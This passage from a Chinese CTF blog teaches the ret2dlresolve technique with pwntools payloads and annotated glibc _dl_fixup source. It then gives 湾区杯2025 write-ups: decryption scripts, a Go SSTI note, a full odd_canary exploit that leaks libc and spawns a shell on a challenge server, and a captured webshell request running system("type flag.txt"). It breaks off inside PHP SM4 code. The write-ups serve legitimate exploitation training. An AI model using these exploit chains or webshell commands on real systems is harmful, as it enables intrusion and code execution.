reloc_index = base_addr-rel_plt+24 # 这里+24要看实际伪造rel.plt距离base_addr偏移
fake_rel_plt = p32(r_offset)+p32(r_info) # 伪造rel.plt

payload = flat(
 b'a'*0x108,
 base_addr-4, read_plt, leave_ret,
 p32(0), base_addr, p32(0x100)
).ljust(0x200, b'\x00') # leave_ret后跳转到base_addr然后开始执行read
se(payload)

payload = flat(
 p32(start_resolve), p32(reloc_index), # 构成read_plt
 p32(0xdeadbeef), p32(base_addr+80), # 80放置/bin/sh
 b'bbbb', b'bbbb', # 垃圾参数，填充伪造的read参数
 fake_rel_plt,
 b'a'*align,
 fake_sym,
 b'system\x00',
)
payload += (80-len(payload))*b'a'+b'/bin/sh\x00'
payload = payload.ljust(0x100, b'\x00')
se(payload)
ia()

64位

1
2
3
4
5
6
7
8
9


#include <stdio.h>

int main(){
 char content[0x100];
 read(0, content, 0x180);
 return 0;
}

gcc ./pwn -o pwn -no-pie -fno-stack-protector -z norelro

所以，Elf64_Sym 的大小为 24 个字节。

Elf64_Sym结构体

1
2
3
4
5
6
7
8
9


typedef struct
{
 Elf64_Word st_name; /* Symbol name (string tbl index) 32位*/
 unsigned char st_info; /* Symbol type and binding */
 unsigned char st_other; /* Symbol visibility */
 Elf64_Section st_shndx; /* Section index 16位*/
 Elf64_Addr st_value; /* Symbol value 64位*/
 Elf64_Xword st_size; /* Symbol size 64位*/
} Elf64_Sym;

并且在64位plt 中的代码 push 的是待解析符号在重定位表中的索引，而不是偏移。

Elf_Rel 结构体，增加了 r_addend

1
2
3
4
5


typedef struct{
 Elf64_Addr r_offset; /* Address */
 Elf64_Xword r_info; /* Relocation type and symbol index */
 Elf64_Sxword r_addend; /* Addend */
}Elf64_Rela;

如果是直接像 32 位的做法直接伪造 realoc_index，那么会因为 _dl_fixup 函数执行时候访问到错误的内存地址而奔溃

结合_dl_fixup进行源码分析，如glibc-2.23/elf/dl-runtime.c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86


_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) // 第一个参数link_map，也就是got[1]
{
 // 获取link_map中存放DT_SYMTAB的地址
 const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
 // 获取link_map中存放DT_STRTAB的地址
 const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
 // reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体
 const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
 // 根据重定位结构体的r_info得到symtab表中对应的结构体
 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

 void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
 lookup_t result;
 DL_FIXUP_VALUE_TYPE value;

 /* Sanity check that we're really looking at a PLT relocation. */
 assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 检查r_info的最低位是不是7

 /* Look up the target symbol. If the normal lookup rules are not
 used don't look in the global scope. */
 if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // 这里是一层检测，检查sym结构体中的st_other是否为0，正常情况下为0，执行下面代码
 {
 const struct r_found_version *version = NULL;
 // 这里也是一层检测，检查link_map中的DT_VERSYM是否为NULL，正常情况下不为NULL，执行下面代码
 if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
 {
 //到了这里就是64位下报错的位置，在计算版本号时，vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中，由于我们一般伪造的symtab位于bss段
 //就导致在64位下reloc->r_info比较大,故程序会发生错误。所以要使程序不发生错误，自然想到的办法就是不执行这里的代码，分析上面的代码我们就可以得到两种手段
 //第一种手段就是使上一行的if不成立，也就是设置link_map中的DT_VERSYM为NULL，那我们就要泄露出link_map的地址，而如果我们能泄露地址，根本用不着ret2dlresolve。
 //第二种手段就是使最外层的if不成立，也就是使sym结构体中的st_other不为0，直接跳到后面的else语句执行。
 const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
 ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
 version = &l->l_versions[ndx];
 if (version->hash == 0)
 version = NULL;
 }

 /* We need to keep the scope around so do some locking. This is
 not necessary for objects which cannot be unloaded or when
 we are not using any threads (yet). */
 int flags = DL_LOOKUP_ADD_DEPENDENCY;
 if (!RTLD_SINGLE_THREAD_P)
 {
 THREAD_GSCOPE_SET_FLAG ();
 flags |= DL_LOOKUP_GSCOPE_LOCK;
 }

 RTLD_ENABLE_FOREIGN_CALL;
 // 在32位情况下，上面代码运行中不会出错，就会走到这里，这里通过strtab+sym->st_name找到符号表字符串，result为libc基地址
 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
 version, ELF_RTYPE_CLASS_PLT, flags, NULL);

 /* We are done with the global scope. */
 if (!RTLD_SINGLE_THREAD_P)
 THREAD_GSCOPE_RESET_FLAG ();

 RTLD_FINALIZE_FOREIGN_CALL;

 /* Currently result contains the base load address (or link map)
 of the object that defines sym. Now add in the symbol
 offset. */
 // 同样，如果正常执行，接下来会来到这里，得到value的值，为libc基址加上要解析函数的偏移地址，也即实际地址，即result+st_value
 value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
 }
 else
 {
 // 这里就是64位下利用的关键，在最上面的if不成立后，就会来到这里,这里value的计算方式是 l->l_addr + st_value,我们的目的是使value为我们所需要的函数的地址，所以就得控制两个参数，l_addr 和 st_value
 /* We already found the symbol. The module (and therefore its load
 address) is also known. */
 value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
 result = l;
 }

 /* And now perhaps the relocation addend. */
 value = elf_machine_plt_value (l, reloc, value);

 if (sym != NULL
 && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
 value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

 /* Finally, fix up the plt itself. */
 if (__glibc_unlikely (GLRO(dl_bind_not)))
 return value;
 // 最后把value写入相应的GOT表条目中
 return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

来自www.cnblogs.com/xshhc/p/17335007.html

总结来说，要绕过这一次_dl_fixup的检测，我们需要

让Elf64_Sym中的st_other=0
控制l->l_addr=system_libc-a_libc; sym->st_value=a_got a为已经解析过的一个函数

上面两个实现以后，就可以有

l->l_addr+sym->st_value=system_libc-a_libc+a_got=system_libc_real

因此需要伪造Elf_Sym以及link_map
在64位中的link_map发生了较大的变化，不过我们只需要知道这一次的.dynsym .dynstr以及.rel.plt是从l->l_info[]中取出的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


//0x68 strtab
//0x70 symtab
//0xf8 relplt
struct link_map {
 Elf64_Addr l_addr;
 char *l_name;
 Elf64_Dyn *l_ld;
 struct link_map *l_next;
 struct link_map *l_prev;
 struct link_map *l_real;
 Lmid_t l_ns;
 struct libname_list *l_libname;
 Elf64_Dyn *l_info[76];
...
}

对应的偏移也发生了改变

.dynstr 指针：位于 .dynamic +0x88 (32位下是0x44)

.dynsym 指针：位于 .dynamic + 0x98 (32位下是0x4c)

.rel.plt 指针：位于 .dynamic +0x108 (32位下是0x84)

以moectf2025 no_way_to_leak为例

然后我们来查看一下l_info和.dynamic段这些指针的关系

DT_STRTAB指针：位于 link_map_addr +0x68(32位下是0x34)

DT_SYMTAB指针：位于 link_map_addr + 0x70(32位下是0x38)

DT_JMPREL指针：位于 link_map_addr +0xF8(32位下是0x7C)

然后通过取出这些指针的值然后+0x8就可以拿到dynamic段的对应地址了

我们需要修改 link_map 中的 l_addr 为 system_libc - a_libc 的值， l_info 中的 DT_STRTAB指针、DT_SYMTAB指针、DT_JMPREL指针来伪造 .dynstr 、 .dynsym、.rel.plt 段。并且在 fake_Elf_Sym 结构体中的 st_value 为一个已经解析过的（ a ）函数的 got 表地址。

只需要修改 fake_Elf_Sym 为 a 函数的 got 表地址 - 0x8，那么顺带着 sym -> st_other != 0 的条件也会满足。由于 link_map 结构体比较大，因此我们也将 fake_Elf_Sym 结构体和 “/bin/sh\x00” 也写进去

‍

直接使用pwntools的工具

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


rop = ROP(elf)
rop.raw(rop.ret.address)
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()

payload = flat({
 120: raw_rop,
 256: dlresolve.payload
})
sl(payload)
io.interactive()

可能的问题

在_dl_fixup函数中报错了？

如果你使用了栈迁移，那么可以检查栈和dlresolve的payload是否离bss起始地址太近。

在_dl_runtime_resolve函数中，程序会对栈进行多次抬高和降低操作，因此需要将这些数据尽量放到更远的地方。

还有，确定好你的Elf32_Sym结构体是正常十六字节对齐的，并且偏移正确

NO RELRO的情况下需要修改DYNAMIC段的指针，而IDA中该指针位于IDA看不到的地方，怎么办？

你是否已经patch了libc ？如果是，请用一个没有patch的附件进行查看。

若没有，那么请参照如下方式：

使用pwntools来查看dynstr表的地址：

1

print(hex(elf.get_section_by_name('.dynstr').header.sh_addr))

然后在gdb中使用search -8来搜索该地址，如上一步中若得到值0x3fd450，则在gdb中搜索如下：

1

search -8 0x3fd450

或者在pwntools中查找dynamic地址：

1

print(hex(elf.get_section_by_name('.dynamic').header.sh_addr))

并使用gdb在这一段来查找上一步中找到的dynstr地址。

参考链接

湾区杯2025初赛部分2:D wp

Tue, 09 Sep 2025 01:22:00 +0000

reverse

hardtest

程序分析

开始的时候题目中存在检测, 但是通过输入0可以通过检测

1
2
3
4
5
6
7
8


 seed = time(0LL);
 srand(seed);
 v23 = rand() % 255 + 1;
 printf("input your number(1-255): ");
 if ( (unsigned int)__isoc99_scanf("%d", &v21) == 1 && v23 == v21 )
 {
 while ( getchar() != 10 )
 ;

接下来分析主逻辑, 还原主体中的函数还原就可以分析出算法, 进行解密即可.

解密脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140


"""
Decryptor for the given scheme.

Fill SBOX (byte_555555556020) and TARGET (byte_555555556120) below.
- SBOX must be a list or bytes-like of 256 distinct values (0..255).
- TARGET is the byte sequence that the program compares against (same length as the flag).

Once filled, run:
 python3 decrypt_flag.py

If SBOX is a true permutation and TARGET was produced by the binary, you'll get the plaintext flag.
"""

from typing import List

# === Paste your tables here ===================================================
# Example format (replace with real data):
# SBOX = [0x00, 0x01, 0x02, ... 0xFF] # <-- REPLACE with byte_555555556020
# TARGET = [0x12, 0x34, 0x56, ...] # <-- REPLACE with byte_555555556120

SBOX: List[int] = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x1, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x4, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x5, 0x9A, 0x7, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x9, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x0, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x2, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0xC, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0xB, 0xDB, 0xE0, 0x32, 0x3A, 0xA, 0x49, 0x6, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x8, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x3, 0xF6, 0xE, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0xD, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0xF, 0xB0, 0x54, 0xBB, 0x16] # TODO: fill with 256 ints in 0..255

TARGET: List[int] = [0x97,0xD5,0x60,0x43,0xB4,0x10,0x43,0x73,0xF,0xDA,0x43,0xCD,0xD3,0xE8,0x73,0x4A,0x94,0xC3,0xCD,0x71,0xBD,0xDC,0x97,0x1A] # TODO: fill with the expected bytes (length = flag length)

# =============================================================================

def rol8(x: int, n: int) -> int:
 x &= 0xFF
 n &= 7
 return ((x << n) | (x >> (8 - n))) & 0xFF

def ror8(x: int, n: int) -> int:
 x &= 0xFF
 n &= 7
 return ((x >> n) | (x << (8 - n))) & 0xFF

def inv257(a: int) -> int:
 """Multiplicative inverse in Z_257 for a in [1..255], 0 -> 0; returns 0..255 (mod 257, truncated to 8 bits)."""
 a &= 0xFF
 if a == 0:
 return 0
 inv = pow(a, 255, 257) # Fermat: a^255 ≡ a^{-1} (mod 257)
 return inv & 0xFF

def mulmod16(x: int, k: int) -> int:
 return (x * k) & 0xF

def encrypt_byte(x: int, j: int, sbox: List[int]) -> int:
 """One-byte forward transform (as in the binary)."""
 r = (j % 7) + 1
 y = rol8(x, r)
 z = rol8(y ^ 0x5A, 3)
 t = (mulmod16((z >> 4) & 0xF, 3) << 4) | mulmod16(z & 0xF, 5)
 u = inv257(t)
 w = ror8(u, 2)
 return sbox[w]

def decrypt_byte(e: int, j: int, sbox: List[int]) -> int:
 """Inverse transform to recover plaintext byte from expected byte e at position j."""
 # Invert SBOX: find index w s.t. sbox[w] == e
 # Prefer building once and reusing; do it inline here for clarity.
 # Create inverse mapping
 inv_sbox = [0] * 256
 seen = set()
 if len(sbox) != 256:
 raise ValueError("SBOX must have 256 entries.")
 for idx, val in enumerate(sbox):
 if not (0 <= val <= 255):
 raise ValueError("SBOX values must be 0..255.")
 if val in seen:
 raise ValueError("SBOX is not a permutation (duplicate value %d)." % val)
 seen.add(val)
 inv_sbox[val] = idx

 w = inv_sbox[e & 0xFF]
 u = rol8(w, 2) # inverse of ror8(u,2)
 t = inv257(u) # inverse of inv257(t) is itself
 # Invert nibble mapping: high uses *3 mod16 => inverse 11; low uses *5 mod16 => inverse 13
 z_hi = (11 * ((t >> 4) & 0xF)) & 0xF
 z_lo = (13 * (t & 0xF)) & 0xF
 z = (z_hi << 4) | z_lo
 y = ror8(z, 3) ^ 0x5A
 r = (j % 7) + 1
 x = ror8(y, r)
 return x & 0xFF

def build_inv_sbox(sbox: List[int]) -> List[int]:
 inv = [0] * 256
 seen = set()
 if len(sbox) != 256:
 raise ValueError("SBOX must have 256 entries.")
 for i, v in enumerate(sbox):
 if not (0 <= v <= 255):
 raise ValueError("SBOX values must be 0..255.")
 if v in seen:
 raise ValueError("SBOX is not a permutation (duplicate %d)" % v)
 seen.add(v)
 inv[v] = i
 return inv

def decrypt_all(target: List[int], sbox: List[int]) -> bytes:
 inv_sbox = build_inv_sbox(sbox)
 out = bytearray()
 for j, e in enumerate(target):
 w = inv_sbox[e & 0xFF]
 u = rol8(w, 2)
 t = inv257(u)
 z_hi = (11 * ((t >> 4) & 0xF)) & 0xF
 z_lo = (13 * (t & 0xF)) & 0xF
 z = (z_hi << 4) | z_lo
 y = ror8(z, 3) ^ 0x5A
 r = (j % 7) + 1
 x = ror8(y, r)
 out.append(x & 0xFF)
 return bytes(out)

def selftest():
 if not SBOX or not TARGET:
 print("[!] Please fill SBOX and TARGET first.")
 return
 # quick permutation check
 _ = build_inv_sbox(SBOX)
 # roundtrip check on a sample of bytes
 for j in range(64):
 for x in (0, 1, 2, 3, 0x10, 0x5A, 0x7F, 0x80, 0xFE, 0xFF):
 e = encrypt_byte(x, j, SBOX)
 xr = decrypt_byte(e, j, SBOX)
 assert xr == x, f"Roundtrip failed at j={j}, x=0x{x:02X}, got 0x{xr:02X}"
 print("[+] Roundtrip OK on sample set.")
 # try decrypt TARGET
 pt = decrypt_all(TARGET, SBOX)
 try:
 s = pt.decode('utf-8')
 except UnicodeDecodeError:
 s = pt.decode('latin-1')
 print("[+] Decrypted bytes:", pt)
 print("[+] As string:", s)

if __name__ == '__main__':
 selftest()

minigame

程序分析

提示是微信小程序, 用Unpakemin解密后观察里面的.wasm文件
拖入ida中分析, 发现c,b两个函数, 理解后发现就是简单的xor异或
dump出data解密即可

解密代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


data = [
 0xFF, 0xF5, 0xF8, 0xFE, 0xE2, 0xFF, 0xF8, 0xFC, 0xA9,
 0xFB, 0xAB, 0xAE, 0xFA, 0xAD, 0xAC, 0xA8, 0xFA, 0xAE,
 0xAB, 0xA1, 0xA1, 0xAF, 0xAE, 0xF8, 0xAC, 0xAF, 0xAE,
 0xFC, 0xA1, 0xFA, 0xA8, 0xFB, 0xFB, 0xAD, 0xFC, 0xAC,
 0xAA, 0xE4
]

flag = ''.join(chr(b ^ 0x99) for b in data)
print(flag)

web

ssti

不是jinja模板不是python模板

也没开出来是什么服务器
一个一个试过去后

发现是GO语言的SSTi

给了B64Decode和exec，但是禁用了一些指令，考虑用管道符连接

可以，读一下flag试试

pwn

odd_canary

保护调试进入到good_news输入后知道buf读入地址在rip+0x2d48，输入完后查看一下

发现canary不存在？

看一下刚好是多复制了一个\n过去所以覆盖了canary? 会导致检测触发

注意到good_news读取完后会将bss初始地址放上puts的地址

实际上canary好像并未真的赋值，只是一个0x0罢了.before_main里写了，逆天
good_news里面这个地方读0x20的意思不是很懂，但是确实没办法了，试试能不能搞一个libc出来
第二次进入再次尝试泄漏地址

把name后面八个字节打印出来了，可以泄漏libc
strncpy 不会自动加 \0，因此会一连串把后面到\x00为止打印出来
现在懂了，good_news实际上就是把puts泄漏出来
exit虽然会让bss被清理，但是我们可以借此拿到一个栈上的地址

这里得到栈地址可以直接绕过canary

在vuln中的栈上布置rop链，有leave ret，再次迁移回栈执行即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128


import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
 0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = 'amd64'
remote_addr = "pwn-f80da3ccc4.challenge.xctf.org.cn"
remote_port = "9999"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
 context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
 return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
 io = process(filename)
 print("[*] Running on local machine")
elif args.mode == 1:
 io = process(filename)
 gdb.attach(io, gdbscript='''
 # b *(good_news+105)
 b *(vuln+109)
 ''')
elif args.mode == 2:
 io = remote(remote_addr, remote_port, ssl=True)
else:
 sys.exit(1)

elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
 return u64(data.ljust(8, b"\x00"))


def get_64():
 return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


def cmd(x):
 sla(b"Choose (good/vuln/exit): ", x)


bss = 0x404080
leave_ret = 0x40134a
ret_addr = 0x040101a

cmd("good")
payload = b'a'*(0x20-1)+b'B'
sa("first:\n", payload)

# libc_leaking
cmd("good")
ru(b"B")
try_leak = u64(rc(6).ljust(8, b'\x00'))
log.info(VIO_TEXT(f"try to leak an addr:{hex(try_leak)}"))

libc_base = try_leak-libc.sym['puts']
system_addr = libc_base+libc.sym['system']
binsh_addr = libc_base+(libc.search(b'/bin/sh\x00')).__next__()
pop_rdi = libc_base+0x2a3e5

log.success(CLEAR_TEXT(f"system_addr:{hex(system_addr)}"))
log.success(CLEAR_TEXT(f"binsh_addr:{hex(binsh_addr)}"))

payload = b'a'*(0x20)
sa("first:\n", payload)
# finish

# stack leaking
cmd("exit")
sla(b"Are you sure ? [y/n]\n", "n")

cmd("good")
stack_leak = get_64()-0x27
log.info(VIO_TEXT(f"stack_leak:{hex(stack_leak)}"))

payload = b'a'*(0x20)
sa("first:\n", payload)
# finish

# 
cmd("vuln")
payload = flat(
 b'exec',
 p32(0),
 p64(pop_rdi),
 p64(binsh_addr),
 p64(ret_addr),
 p64(system_addr)
).ljust(0x30, b'\x00')
payload += p64(stack_leak)+p64(leave_ret)
sla("payload: \n", payload)

io.interactive()

forensics

checkwebshell

一堆http的shell.php，先试着strings抓一下flag

打开wireshark进行搜索分组字节流，找到秘密上传文件，是一个SM4加密文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147


POST /shell.php HTTP/1.1
Host: 192.168.144.128:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

shell=system("type flag.txt");
HTTP/1.1 200 OK
Date: Mon, 11 Aug 2025 08:40:43 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

<?php
class SM4 {
 const ENCRYPT = 1;
 private $sk;
 private static $FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC];
 private static $CK = [
 0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
 0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
 0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
 0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
 0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
 0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
 0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
 0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
 ];
 private static $SboxTable = [
 0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
 0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
 0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
 0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
 0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
 0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
 0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x0D, 0x2D, 0xEC,
 0x84, 0x9B, 0x1E, 0x87, 0xE0, 0x3E, 0xB5, 0x66, 0x48, 0x02, 0x6C, 0xBB, 0xBB, 0x32, 0x83, 0x27,
 0x9E, 0x01, 0x8D, 0x53, 0x9B, 0x64, 0x7B, 0x6B, 0x6A, 0x6C, 0xEC, 0xBB, 0xC4, 0x94, 0x3B, 0x0C,
 0x76, 0xD2, 0x09, 0xAA, 0x16, 0x15, 0x3D, 0x2D, 0x0A, 0xFD, 0xE4, 0xB7, 0x37, 0x63, 0x28, 0xDD,
 0x7C, 0xEA, 0x97, 0x8C, 0x6D, 0xC7, 0xF2, 0x3E, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7,
 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x36, 0x24, 0x07, 0x82, 0xFA, 0x54, 0x5B, 0x40,
 0x8F, 0xED, 0x1F, 0xDA, 0x93, 0x80, 0xF9, 0x61, 0x1C, 0x70, 0xC3, 0x85, 0x95, 0xA9, 0x79, 0x08,
 0x46, 0x29, 0x02, 0x3B, 0x4D, 0x83, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x1A, 0x47, 0x5C, 0x0D, 0xEA,
 0x9E, 0xCB, 0x55, 0x20, 0x15, 0x8A, 0x9A, 0xCB, 0x43, 0x0C, 0xF0, 0x0B, 0x40, 0x58, 0x00, 0x8F,
 0xEB, 0xBE, 0x3D, 0xC2, 0x9F, 0x51, 0xFA, 0x13, 0x3B, 0x0D, 0x90, 0x5B, 0x6E, 0x45, 0x59, 0x33
 ];

 public function __construct($key) {
 $this->setKey($key);
 }
 public function setKey($key) {
 if (strlen($key) != 16) {
 throw new Exception("SM4");
 }
 $key = $this->strToIntArray($key);
 $k = array_merge($key, [0, 0, 0, 0]);
 for ($i = 0; $i < 4; $i++) {
 $k[$i] ^= self::$FK[$i];
 }
 for ($i = 0; $i < 32; $i++) {
 $k[$i + 4] = $k[$i] ^ $this->CKF($k[$i + 1], $k[$i + 2], $k[$i + 3], self::$CK[$i]);
